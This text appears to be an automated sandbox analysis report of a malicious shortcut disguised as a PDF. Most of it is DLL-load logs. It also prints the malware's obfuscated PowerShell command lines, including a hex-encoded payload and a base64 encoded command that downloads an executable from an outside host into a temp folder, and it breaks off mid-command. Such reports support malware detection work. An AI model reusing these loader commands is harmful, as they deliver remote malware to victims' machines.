Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windowscodecs.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: wsock32.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: version.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: winmm.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: mpr.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: wininet.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: iphlpapi.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: userenv.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: uxtheme.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: wsock32.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: version.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: winmm.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: mpr.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: wininet.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: iphlpapi.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: userenv.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: uxtheme.dll
Source: C:\ehcfdbh\AutoIt3.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk

LNK file: ..\..\..\..\..\Windows\System32\OpenSSH\sftp.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: wntdll.pdbUGP source: updater.exe, 00000013.00000003.2477266140.0000000004A29000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477463421.0000000004908000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488641336.0000000004AA4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637897629.0000000004CD4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2627489681.0000000004B38000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2627219314.0000000004C59000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712460884.00000000053F4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705749410.0000000005379000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705963572.0000000005258000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: updater.exe, 00000013.00000003.2477266140.0000000004A29000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000003.2477463421.0000000004908000.00000004.00001000.00020000.00000000.sdmp, updater.exe, 00000013.00000002.2488641336.0000000004AA4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2637897629.0000000004CD4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2627489681.0000000004B38000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000003.2627219314.0000000004C59000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000002.2712460884.00000000053F4000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705749410.0000000005379000.00000004.00001000.00020000.00000000.sdmp, AutoIt3.exe, 00000018.00000003.2705963572.0000000005258000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMAL